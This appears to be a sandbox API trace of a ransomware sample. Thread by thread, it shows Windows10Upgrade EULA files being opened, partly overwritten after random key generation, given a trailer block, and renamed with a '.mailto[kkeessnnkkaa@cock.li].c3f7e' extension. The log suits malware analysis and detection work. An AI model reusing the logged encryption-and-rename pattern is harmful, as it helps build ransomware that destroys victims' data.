	[0088.451] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47bb510) returned 1
	[0088.451] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47d58) returned 1
	[0088.451] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47f88) returned 1
	[0088.451] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47d08) returned 1
	[0088.452] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47f10) returned 1
	[0088.452] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xb0) returned 0x481ae88
	[0088.452] wcscpy (in: _Dest=0x481ae88, _Source="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_pt-br.htm" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_pt-br.htm") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_pt-br.htm"
	[0088.452] wcscat (in: _Dest=0x481ae88, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_pt-br.htm.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_pt-br.htm.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0088.452] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_pt-br.htm.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0x2b83fae0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_pt-br.htm.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0088.452] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc6) returned 0x47ea060
	[0088.454] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47ea060) returned 1
	[0088.454] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4f2d860) returned 1
	[0088.454] NtQueryInformationFile (in: FileHandle=0x1b90, IoStatusBlock=0x2b83faec, FileInformation=0x2b83fac4, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2b83faec, FileInformation=0x2b83fac4) returned 0x0
	[0088.454] NtSetInformationFile (FileHandle=0x1b90, IoStatusBlock=0x2b83faec, FileInformation=0x2b83fac4, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0088.455] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x481ae88) returned 1
	[0088.455] FlushFileBuffers (hFile=0x1b90) returned 1
	[0093.254] CloseHandle (hObject=0x1b90) 

Thread:
	id = 1256
	os_tid = 0x13e8

	[0088.449] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_pt-pt.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_pt-pt.htm")) returned 0x20
	[0088.452] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_pt-pt.htm", dwFileAttributes=0x20) returned 1
	[0088.453] CreateFileW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_pt-pt.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_pt-pt.htm"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1b94
	[0088.453] GetFileSizeEx (in: hFile=0x1b94, lpFileSize=0x2b8bf758 | out: lpFileSize=0x2b8bf758*=71054) returned 1
	[0088.453] SetFilePointerEx (in: hFile=0x1b94, liDistanceToMove=0x1158a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0088.453] ReadFile (in: hFile=0x1b94, lpBuffer=0x2b8bf6dc, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2b8bf6d8, lpOverlapped=0x0 | out: lpBuffer=0x2b8bf6dc*, lpNumberOfBytesRead=0x2b8bf6d8*=0x4, lpOverlapped=0x0) returned 1
	[0088.456] SetFilePointerEx (in: hFile=0x1b94, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0088.456] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47e48
	[0088.456] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47f88
	[0088.456] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47df8
	[0088.456] NtQuerySystemTime (in: CurrentTime=0x2b8bf6b8 | out: CurrentTime=0x2b8bf6b8*=132251868151944451) returned 0x0
	[0088.456] RtlRandom (in: Seed=0x2b8bf6c4 | out: Seed=0x2b8bf6c4) returned 0x486d1389
	[0088.456] RtlRandom (in: Seed=0x2b8bf6c4 | out: Seed=0x2b8bf6c4) returned 0x85c693f0
	[0088.456] RtlRandom (in: Seed=0x2b8bf6c4 | out: Seed=0x2b8bf6c4) returned 0x61b5f896
	[0088.456] RtlRandom (in: Seed=0x2b8bf6c4 | out: Seed=0x2b8bf6c4) returned 0x29337525
	[0088.456] RtlRandom (in: Seed=0x2b8bf6c4 | out: Seed=0x2b8bf6c4) returned 0xdf40415f
	[0088.456] RtlRandom (in: Seed=0x2b8bf6c4 | out: Seed=0x2b8bf6c4) returned 0xe7b2e61d
	[0088.456] RtlRandom (in: Seed=0x2b8bf6c4 | out: Seed=0x2b8bf6c4) returned 0xb133f959
	[0088.456] RtlRandom (in: Seed=0x2b8bf6c4 | out: Seed=0x2b8bf6c4) returned 0xaf151a6d
	[0088.456] RtlRandom (in: Seed=0x2b8bf6c4 | out: Seed=0x2b8bf6c4) returned 0xe10b0271
	[0088.456] RtlRandom (in: Seed=0x2b8bf6c4 | out: Seed=0x2b8bf6c4) returned 0x57917a13
	[0088.456] RtlRandom (in: Seed=0x2b8bf6c4 | out: Seed=0x2b8bf6c4) returned 0x1a15bab5
	[0088.456] RtlRandom (in: Seed=0x2b8bf6c4 | out: Seed=0x2b8bf6c4) returned 0xc03f056e
	[0088.456] RtlRandom (in: Seed=0x2b8bf6c4 | out: Seed=0x2b8bf6c4) returned 0xbcdd3ed7
	[0088.456] RtlRandom (in: Seed=0x2b8bf6c4 | out: Seed=0x2b8bf6c4) returned 0x8a9f5bf3
	[0088.456] RtlRandom (in: Seed=0x2b8bf6c4 | out: Seed=0x2b8bf6c4) returned 0x90cfd4a0
	[0088.456] RtlRandom (in: Seed=0x2b8bf6c4 | out: Seed=0x2b8bf6c4) returned 0xa9c8c24d
	[0088.456] RtlRandom (in: Seed=0x2b8bf6c4 | out: Seed=0x2b8bf6c4) returned 0x956360a6
	[0088.456] RtlRandom (in: Seed=0x2b8bf6c4 | out: Seed=0x2b8bf6c4) returned 0x9733a2e0
	[0088.456] RtlRandom (in: Seed=0x2b8bf6c4 | out: Seed=0x2b8bf6c4) returned 0x23cf2088
	[0088.456] RtlRandom (in: Seed=0x2b8bf6c4 | out: Seed=0x2b8bf6c4) returned 0x1b152dec
	[0088.456] RtlRandom (in: Seed=0x2b8bf6c4 | out: Seed=0x2b8bf6c4) returned 0x3be3ad82
	[0088.456] RtlRandom (in: Seed=0x2b8bf6c4 | out: Seed=0x2b8bf6c4) returned 0x7aea9275
	[0088.456] RtlRandom (in: Seed=0x2b8bf6c4 | out: Seed=0x2b8bf6c4) returned 0xbe3689d8
	[0088.456] RtlRandom (in: Seed=0x2b8bf6c4 | out: Seed=0x2b8bf6c4) returned 0x1c41f80d
	[0088.456] RtlRandom (in: Seed=0x2b8bf6c4 | out: Seed=0x2b8bf6c4) returned 0x3b4a4e01
	[0088.456] RtlRandom (in: Seed=0x2b8bf6c4 | out: Seed=0x2b8bf6c4) returned 0x5ac3128
	[0088.456] RtlRandom (in: Seed=0x2b8bf6c4 | out: Seed=0x2b8bf6c4) returned 0x29c1c2e0
	[0088.456] RtlRandom (in: Seed=0x2b8bf6c4 | out: Seed=0x2b8bf6c4) returned 0x859a1dca
	[0088.456] RtlRandom (in: Seed=0x2b8bf6c4 | out: Seed=0x2b8bf6c4) returned 0x3acfbf63
	[0088.456] RtlRandom (in: Seed=0x2b8bf6c4 | out: Seed=0x2b8bf6c4) returned 0xaa3352e
	[0088.456] RtlRandom (in: Seed=0x2b8bf6c4 | out: Seed=0x2b8bf6c4) returned 0xbde4ac72
	[0088.456] RtlRandom (in: Seed=0x2b8bf6c4 | out: Seed=0x2b8bf6c4) returned 0x934e3f1e
	[0088.464] SetFilePointerEx (in: hFile=0x1b94, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0088.464] ReadFile (in: hFile=0x1b94, lpBuffer=0x4ff2800, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x2b8bf698, lpOverlapped=0x0 | out: lpBuffer=0x4ff2800*, lpNumberOfBytesRead=0x2b8bf698*=0xc800, lpOverlapped=0x0) returned 1
	[0088.465] SetFilePointerEx (in: hFile=0x1b94, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0088.465] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfb198
	[0088.465] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2d834e0
	[0088.465] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47e98
	[0088.465] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47e98) returned 1
	[0088.466] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x4fff008
	[0088.467] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47d58
	[0088.467] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47d80
	[0088.467] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47d80) returned 1
	[0088.467] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d834e0) returned 1
	[0088.467] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb198) returned 1
	[0088.467] WriteFile (in: hFile=0x1b94, lpBuffer=0x4fff008*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x2b8bf698, lpOverlapped=0x0 | out: lpBuffer=0x4fff008*, lpNumberOfBytesWritten=0x2b8bf698*=0xc800, lpOverlapped=0x0) returned 1
	[0088.468] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4fff008) returned 1
	[0088.468] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4ff2800) returned 1
	[0088.468] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x29) returned 0x2d7bee0
	[0088.468] SetFilePointerEx (in: hFile=0x1b94, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0088.469] WriteFile (in: hFile=0x1b94, lpBuffer=0x2e02570*, nNumberOfBytesToWrite=0x10d, lpNumberOfBytesWritten=0x2b8bf718, lpOverlapped=0x0 | out: lpBuffer=0x2e02570*, lpNumberOfBytesWritten=0x2b8bf718*=0x10d, lpOverlapped=0x0) returned 1
	[0088.470] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e02570) returned 1
	[0088.470] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d7bbd0) returned 1
	[0088.470] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47dd0) returned 1
	[0088.470] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d7bee0) returned 1
	[0088.470] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47d58) returned 1
	[0088.470] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47f88) returned 1
	[0088.470] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47d08) returned 1
	[0088.470] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47f10) returned 1
	[0088.470] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xb0) returned 0x481ae88
	[0088.470] wcscpy (in: _Dest=0x481ae88, _Source="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_pt-pt.htm" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_pt-pt.htm") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_pt-pt.htm"
	[0088.470] wcscat (in: _Dest=0x481ae88, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_pt-pt.htm.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_pt-pt.htm.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0088.470] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_pt-pt.htm.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0x2b8bf6d0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_pt-pt.htm.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0088.470] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc6) returned 0x47ea060
	[0088.471] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47ea060) returned 1
	[0088.471] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4f2d860) returned 1
	[0088.471] NtQueryInformationFile (in: FileHandle=0x1b94, IoStatusBlock=0x2b8bf6dc, FileInformation=0x2b8bf6b4, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2b8bf6dc, FileInformation=0x2b8bf6b4) returned 0x0
	[0088.471] NtSetInformationFile (FileHandle=0x1b94, IoStatusBlock=0x2b8bf6dc, FileInformation=0x2b8bf6b4, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0088.472] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x481ae88) returned 1
	[0088.472] FlushFileBuffers (hFile=0x1b94) returned 1
	[0093.254] CloseHandle (hObject=0x1b94) 

Thread:
	id = 1257
	os_tid = 0x13f0

	[0088.472] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_ro-ro.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_ro-ro.htm")) returned 0x20
	[0088.473] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_ro-ro.htm", dwFileAttributes=0x20) returned 1
	[0088.473] CreateFileW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_ro-ro.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_ro-ro.htm"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1b98
	[0088.473] GetFileSizeEx (in: hFile=0x1b98, lpFileSize=0x2b93fc84 | out: lpFileSize=0x2b93fc84*=78176) returned 1
	[0088.473] SetFilePointerEx (in: hFile=0x1b98, liDistanceToMove=0x1315c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0088.473] ReadFile (in: hFile=0x1b98, lpBuffer=0x2b93fc08, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2b93fc04, lpOverlapped=0x0 | out: lpBuffer=0x2b93fc08*, lpNumberOfBytesRead=0x2b93fc04*=0x4, lpOverlapped=0x0) returned 1
	[0088.475] SetFilePointerEx (in: hFile=0x1b98, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0088.475] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47e48
	[0088.475] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47f88
	[0088.475] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47df8
	[0088.475] NtQuerySystemTime (in: CurrentTime=0x2b93fbe4 | out: CurrentTime=0x2b93fbe4*=132251868152100534) returned 0x0
	[0088.475] RtlRandom (in: Seed=0x2b93fbf0 | out: Seed=0x2b93fbf0) returned 0x52e1ca
	[0088.475] RtlRandom (in: Seed=0x2b93fbf0 | out: Seed=0x2b93fbf0) returned 0x5dd1d391
	[0088.475] RtlRandom (in: Seed=0x2b93fbf0 | out: Seed=0x2b93fbf0) returned 0x3758ffea
	[0088.475] RtlRandom (in: Seed=0x2b93fbf0 | out: Seed=0x2b93fbf0) returned 0x85cb48ea
	[0088.475] RtlRandom (in: Seed=0x2b93fbf0 | out: Seed=0x2b93fbf0) returned 0x4731a28f
	[0088.475] RtlRandom (in: Seed=0x2b93fbf0 | out: Seed=0x2b93fbf0) returned 0xf09f4ce7
	[0088.475] RtlRandom (in: Seed=0x2b93fbf0 | out: Seed=0x2b93fbf0) returned 0xcf4982cb
	[0088.475] RtlRandom (in: Seed=0x2b93fbf0 | out: Seed=0x2b93fbf0) returned 0x73fdaa6d
	[0088.475] RtlRandom (in: Seed=0x2b93fbf0 | out: Seed=0x2b93fbf0) returned 0x98ece7f1
	[0088.475] RtlRandom (in: Seed=0x2b93fbf0 | out: Seed=0x2b93fbf0) returned 0x3724f228
	[0088.475] RtlRandom (in: Seed=0x2b93fbf0 | out: Seed=0x2b93fbf0) returned 0xeba92727
	[0088.475] RtlRandom (in: Seed=0x2b93fbf0 | out: Seed=0x2b93fbf0) returned 0x935dfdea
	[0088.475] RtlRandom (in: Seed=0x2b93fbf0 | out: Seed=0x2b93fbf0) returned 0xb3b339b0
	[0088.475] RtlRandom (in: Seed=0x2b93fbf0 | out: Seed=0x2b93fbf0) returned 0x9abb50f3
	[0088.475] RtlRandom (in: Seed=0x2b93fbf0 | out: Seed=0x2b93fbf0) returned 0x515baae5
	[0088.475] RtlRandom (in: Seed=0x2b93fbf0 | out: Seed=0x2b93fbf0) returned 0xc447b504
	[0088.475] RtlRandom (in: Seed=0x2b93fbf0 | out: Seed=0x2b93fbf0) returned 0x21c33b79
	[0088.475] RtlRandom (in: Seed=0x2b93fbf0 | out: Seed=0x2b93fbf0) returned 0x5f62b1ec
	[0088.476] RtlRandom (in: Seed=0x2b93fbf0 | out: Seed=0x2b93fbf0) returned 0xf247194
	[0088.476] RtlRandom (in: Seed=0x2b93fbf0 | out: Seed=0x2b93fbf0) returned 0xe682211b
	[0088.476] RtlRandom (in: Seed=0x2b93fbf0 | out: Seed=0x2b93fbf0) returned 0xd4b8ad13
	[0088.476] RtlRandom (in: Seed=0x2b93fbf0 | out: Seed=0x2b93fbf0) returned 0x8eb1775e
	[0088.476] RtlRandom (in: Seed=0x2b93fbf0 | out: Seed=0x2b93fbf0) returned 0xe391856e
	[0088.476] RtlRandom (in: Seed=0x2b93fbf0 | out: Seed=0x2b93fbf0) returned 0x962e5e20
	[0088.476] RtlRandom (in: Seed=0x2b93fbf0 | out: Seed=0x2b93fbf0) returned 0x34047a73
	[0088.476] RtlRandom (in: Seed=0x2b93fbf0 | out: Seed=0x2b93fbf0) returned 0x1821331a
	[0088.476] RtlRandom (in: Seed=0x2b93fbf0 | out: Seed=0x2b93fbf0) returned 0xa33a5e6c
	[0088.476] RtlRandom (in: Seed=0x2b93fbf0 | out: Seed=0x2b93fbf0) returned 0x16e25bda
	[0088.476] RtlRandom (in: Seed=0x2b93fbf0 | out: Seed=0x2b93fbf0) returned 0xffd4f45b
	[0088.476] RtlRandom (in: Seed=0x2b93fbf0 | out: Seed=0x2b93fbf0) returned 0xa32987ce
	[0088.476] RtlRandom (in: Seed=0x2b93fbf0 | out: Seed=0x2b93fbf0) returned 0x676806f6
	[0088.476] RtlRandom (in: Seed=0x2b93fbf0 | out: Seed=0x2b93fbf0) returned 0xa3c51338
	[0088.484] SetFilePointerEx (in: hFile=0x1b98, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0088.484] ReadFile (in: hFile=0x1b98, lpBuffer=0x4ff2800, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x2b93fbc4, lpOverlapped=0x0 | out: lpBuffer=0x4ff2800*, lpNumberOfBytesRead=0x2b93fbc4*=0xc800, lpOverlapped=0x0) returned 1
	[0088.485] SetFilePointerEx (in: hFile=0x1b98, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0088.485] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfb198
	[0088.485] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2d834e0
	[0088.485] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47e98
	[0088.485] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47e98) returned 1
	[0088.486] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x4fff008
	[0088.487] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47d58
	[0088.487] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47d80
	[0088.487] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47d80) returned 1
	[0088.487] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d834e0) returned 1
	[0088.487] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb198) returned 1
	[0088.487] WriteFile (in: hFile=0x1b98, lpBuffer=0x4fff008*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x2b93fbc4, lpOverlapped=0x0 | out: lpBuffer=0x4fff008*, lpNumberOfBytesWritten=0x2b93fbc4*=0xc800, lpOverlapped=0x0) returned 1
	[0088.488] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4fff008) returned 1
	[0088.488] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4ff2800) returned 1
	[0088.488] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x29) returned 0x2d7bee0
	[0088.488] SetFilePointerEx (in: hFile=0x1b98, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0088.488] WriteFile (in: hFile=0x1b98, lpBuffer=0x2e02570*, nNumberOfBytesToWrite=0x10d, lpNumberOfBytesWritten=0x2b93fc44, lpOverlapped=0x0 | out: lpBuffer=0x2e02570*, lpNumberOfBytesWritten=0x2b93fc44*=0x10d, lpOverlapped=0x0) returned 1
	[0088.490] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e02570) returned 1
	[0088.490] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d7bd20) returned 1
	[0088.490] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47dd0) returned 1
	[0088.490] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d7bee0) returned 1
	[0088.490] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47d58) returned 1
	[0088.490] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47f88) returned 1
	[0088.490] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47d08) returned 1
	[0088.490] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47f10) returned 1
	[0088.490] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xb0) returned 0x481ae88
	[0088.490] wcscpy (in: _Dest=0x481ae88, _Source="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_ro-ro.htm" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_ro-ro.htm") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_ro-ro.htm"
	[0088.490] wcscat (in: _Dest=0x481ae88, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_ro-ro.htm.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_ro-ro.htm.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0088.490] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_ro-ro.htm.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0x2b93fbfc, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_ro-ro.htm.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0088.490] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc6) returned 0x47ea060
	[0088.491] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47ea060) returned 1
	[0088.491] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4f2d860) returned 1
	[0088.491] NtQueryInformationFile (in: FileHandle=0x1b98, IoStatusBlock=0x2b93fc08, FileInformation=0x2b93fbe0, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2b93fc08, FileInformation=0x2b93fbe0) returned 0x0
	[0088.491] NtSetInformationFile (FileHandle=0x1b98, IoStatusBlock=0x2b93fc08, FileInformation=0x2b93fbe0, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0088.492] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x481ae88) returned 1
	[0088.492] FlushFileBuffers (hFile=0x1b98) returned 1
	[0093.255] CloseHandle (hObject=0x1b98) 

Thread:
	id = 1258
	os_tid = 0x112c

	[0088.489] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_ru-ru.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_ru-ru.htm")) 

Thread:
	id = 1259
	os_tid = 0x1128

	[0088.493] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_sk-sk.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_sk-sk.htm")) returned 0x20
	[0088.493] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_sk-sk.htm", dwFileAttributes=0x20) returned 1
	[0088.493] CreateFileW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_sk-sk.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_sk-sk.htm"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1b9c
	[0088.493] GetFileSizeEx (in: hFile=0x1b9c, lpFileSize=0x2ba3f79c | out: lpFileSize=0x2ba3f79c*=81953) returned 1
	[0088.493] SetFilePointerEx (in: hFile=0x1b9c, liDistanceToMove=0x1401d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0088.493] ReadFile (in: hFile=0x1b9c, lpBuffer=0x2ba3f720, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2ba3f71c, lpOverlapped=0x0 | out: lpBuffer=0x2ba3f720*, lpNumberOfBytesRead=0x2ba3f71c*=0x4, lpOverlapped=0x0) returned 1
	[0088.495] SetFilePointerEx (in: hFile=0x1b9c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0088.495] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47e48
	[0088.495] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47f88
	[0088.495] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47df8
